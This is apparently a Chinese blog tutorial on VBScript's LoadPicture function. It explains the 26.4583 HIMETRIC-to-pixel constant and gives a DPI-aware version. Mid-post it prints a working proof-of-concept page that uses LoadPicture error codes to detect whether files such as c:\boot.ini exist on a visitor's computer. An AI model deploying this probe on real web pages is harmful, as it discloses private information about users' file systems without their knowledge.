vbscript LoadPicture函数使用方法与漏洞利用_vbs

复制代码 代码如下:

<title>LoadPicture函数</title>
<form name="frm">
选择图片<input type="file" name="pic" onChange="GetPicInfor()" >
</form>
<script language="vbscript">

Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) '26.4583是像素值
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write "你选择了图片"&picpath
document.write "<li>长度:"&iHeight&"</li>"
document.write "<li>宽度:"&iwidth&"</li>"
document.write "<li>类型:"&pictype&"</li>"
End Sub
</script>

不过这个函数有个漏洞,可以探测电脑上存在的文件名。2004年的漏洞,微软现在也没补,示例:

复制代码 代码如下:

<form onsubmit="doIt(this);return false">
<input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit">
</form>
<script language="vbscript">
Sub loadIt(filename)
LoadPicture(filename)
End Sub
</script>
<script language="javascript">
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>

这段代码中有一个“魔法数字(Magic Number)”26.4583,曾经有位昵称是“乱码”的朋友问过我这个26.4583是怎么来的,当时我也不知道。

前段时间逆向分析了一下vbscript.dll,才发现了其中的奥秘:

复制代码 代码如下:

26.4583 = 2540 / 96

那你一定要问,这个2540和96又是怎么来的?

要弄清楚这个问题,首先要知道VBS的LoadPicture函数返回的到底是什么,VBS文档是这么描述LoadPicture函数的:

Returns a picture object. Available only on 32-bit platforms.

只说返回图片对象,却没说该图片对象有什么属性和方法。文档语焉不详,只好动用OllyDbg了:

LoadPicture函数内部调用了OleLoadPicture函数,查文档可知返回的是IPictureDisp接口。不过后来我发现了更简单的方法,那就是查VB的函数声明(谁让它们是一家人呢),在VB的对象浏览器中查找LoadPicture函数:

Function LoadPicture([FileName], [Size], [ColorDepth], [X], [Y]) As IPictureDisp虽然VBS的LoadPicture函数比VB的简单,但是返回值应该是一样的。

好了,知道返回的是IPictureDisp接口,文档说它支持下面的属性:

Property Type Access Description
Handle OLE_HANDLE (int) R The Windows GDI handle of the picture
hPal OLE_HANDLE (int) RW The Windows handle of the palette used by the picture.
Type short R The type of picture (see PICTYPE).
Width OLE_XSIZE_HIMETRIC (long) R The width of the picture.
Height OLE_YSIZE_HIMETRIC (long) R The height of the picture.

我们只关心Width和Height,它们分别表示图片的宽和高,但是它们的单位不是像素(Pixel),而是Himetric,我们要做的是把Himetric换算成Pixel。

首先把Himetric换算成英寸(Inch),1 Himetric = 0.01 mm,1 Inch = 2.54 cm,所以1 Inch = 2540 Himetric。

然后从Inch换算成Pixel,1 Inch等于多少Pixel呢?这是由系统的DPI(Dot Per Inch)设置决定的,默认值是96。

现在知道2540和96是怎么来的了吧?不过上面的代码存在两个问题:第一,使用了2540/96的近似值,可能会有误差;第二,使用了DPI的默认值96,而DPI的值是可以在控制面板中修改的。

VBS中LoadPicture函数的正确用法是:

复制代码 代码如下:

Option Explicit

'By Demon
Dim p
Set p = LoadPicture("D:\test.jpg")
WScript.Echo "Width: " & Himetric2Pixel(p.Width)
WScript.Echo "Height: " & Himetric2Pixel(p.Height)

Function Himetric2Pixel(n)
'1 Inch = 2540 Himetric
Const key = "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\AppliedDPI"
Dim WshShell, dpi
Set WshShell = WScript.CreateObject("Wscript.Shell")
dpi = WshShell.RegRead(key)
Himetric2Pixel = Round(n * dpi / 2540)
End Function

Windows 7下通过测试,其他系统中获取DPI的方法可能会不同,请自行修改。

上面修正的内容来自: http://demon.tw/programming/vbs-loadpicture.html 

时间: 2024-09-29 20:01:11

vbscript LoadPicture函数使用方法与漏洞利用_vbs的相关文章

无Sockets的远程溢出漏洞利用方法

本文讲的是无Sockets的远程溢出漏洞利用方法,在本文中,我将介绍一种在一个易受攻击的远程机器上获得shell访问的简单技术(这仅仅是我个人的观点).这不是我自己创造的技术,但我发现它很有趣.所以,本文的重点是这种技术本身,而不是利用漏洞的方式. 设置你的环境 所以,为了专注于制作远程shellcode,而不是如何规避ASLR,不可执行堆栈等(这将需要大量的篇幅进行介绍),我们将在测试中禁用大多数类似的功能.一旦你准备好了shellcode,便可以重新启用ASLR保护并尝试再次进行程序的漏洞利

以DVRF(路由器漏洞靶机)为例解读JEB固件漏洞利用

本文讲的是以DVRF(路由器漏洞靶机)为例解读JEB固件漏洞利用, 在本文中,我将介绍JEB的MIPS反编译器是如何帮助你查找和利用嵌入式设备中的软件漏洞. DVRF DVRF(Damn_Vulnerable_Router_Firmware) 是一个基于路由器Linksys E1550的路由器固件,里面包含了开发者写的一些存在漏洞的二进制文件,可以在路由器中安装该固件进行安全测试. DVRF模拟了一个比较真实的环境,比较适合初学路由器漏洞挖掘,不过前提是对其他CPU架构(MIPS)有一个基本的了

Java反序列化漏洞利用的学习与实践

本文讲的是Java反序列化漏洞利用的学习与实践, 利用DeserLab 建议你在阅读本文之前,先阅读<攻击Java反序列化过程>,这样你就会对java反序列化有一个比较清晰的认识.除此之外,这篇文章还提到了一个"DeserLab"的演示应用.为了有效利用反序列化漏洞,理解序列化的原理以及反序列化漏洞利用的工作原理(如面向属性的编程原理),研究人员就要找到一个可供模拟的实验环境,而"DeserLab"就是一个这样的环境. 要想利用一个漏洞,通常的方法首先是

“cerber”敲诈者对CVE-2016-7255漏洞利用分析

本文讲的是"cerber"敲诈者对CVE-2016-7255漏洞利用分析, 0x1 前言 360互联网安全中心近日捕获到一款"ceber"敲诈者木马变种,该变种与其他"ceber"敲诈者木马变种在代码执行流程上并没有太大区别.唯一值得注意的是,该木马利用CVE-2016-7255权限提升漏洞对自身进行提权.本文将分析该敲诈者对CVE-2016-7255权限提升漏洞的利用过程. 0x2 漏洞细节 出问题的代码位于win32k!xxxNextWind

《Metasploit渗透测试手册》—第8章8.3节常用的漏洞利用代码mixins

8.3 常用的漏洞利用代码mixins Metasploit渗透测试手册 Mixins是Ruby语言中应用广泛的一种机制,其作用是将一些功能放置到模块中,并使得Ruby这种单继承语言具备多继承的能力.在漏洞利用代码模块中使用mixins,有助于调用该漏洞利用代码所需的不同函数.在本节中,我们将学习一些重要的Metasploit exploit mixins. 怎样实现 下面快速浏览一些常用的exploit mixins,然后在现有的漏洞利用代码模块中了解其实现机理. Exploit::Remot

科普 | 你必须了解的漏洞利用缓解及对抗技术

科普 | 你必须了解的漏洞利用缓解及对抗技术       随着软件系统越来越复杂,软件漏洞变得无法避免.业界逐渐推出了让漏洞无法利用或利用难度提高的方法,简称漏洞缓解技术.我们简单介绍下Android和iOS中广泛使用的一些漏洞缓解及可能的绕过技术.当然这里也包含一些相关联的安全限制,而非真正意义的缓解技术. 缓解及绕过技术点 User Permissions 每个app有自己uid,selinux_context,只有申请并且用户允许才有权限做它想做的事.要突破这些限制,可以考虑通过每个app

安卓内核UAF漏洞利用探秘

 雷锋网编者按:8月16日,第三届中国互联网安全领袖峰会(CSS 2017)在北京国家会议中心召开.作为九大分会场之一的腾讯安全探索论坛(TSec)以"安全新探索"为主题,云集了国际知名厂商及顶尖高校的资深安全专家,探讨全球信息安全领域前沿技术.研究成果及未来趋势.来自腾讯安全科恩实验室的方家弘.申迪分享了面对安卓内核中存在的UAF漏洞数量不断变小.利用难度逐渐变大的现状,将如何稳定高效地利用这类漏洞来完成操作系统提权. 方家弘:大家下午好!我是来自腾讯安全科恩实验室的方家弘,我和我的

Alpine Linux 之漏洞利用(二):软件包管理器漏洞分析

本文讲的是Alpine Linux 之漏洞利用(二):软件包管理器漏洞分析, 在Alpine Linux 漏洞利用的第一部分<Alpine Linux:从漏洞发现到代码执行>,我对Alpine Linux的软件包管理器中的两个关键漏洞, CVE-2017-9669和CVE-2017-9671做了深入的分析. 今天这部分,我会对这两个漏洞的发现过程进行详细描述,并演示如何实现远程执行代码. 第一步是把部署环境中导致 漏洞的所有内容都进行复制,由于这是一个可用性测试(sanity check),所

Linux内核中的递归漏洞利用

背景知识 在Linux系统中,用户态的栈空间通常大约是8MB.如果有程序发生了栈溢出的话(比如无限递归),栈所在的内存保护页一般会捕捉到. Linux内核栈(可以用来处理系统调用)和用户态的栈很不一样.内核栈相对来说更短:32位x86架构平台为4096byte , 64位系统则有16384byte(内核栈大小由THREAD_SIZE_ORDER 和 THREAD_SIZE 确定).它们是由内核的伙伴内存分配器分配,伙伴内存分配器是内核常用来分配页大小(以及页大小倍数)内存的分配器,它不创建内存保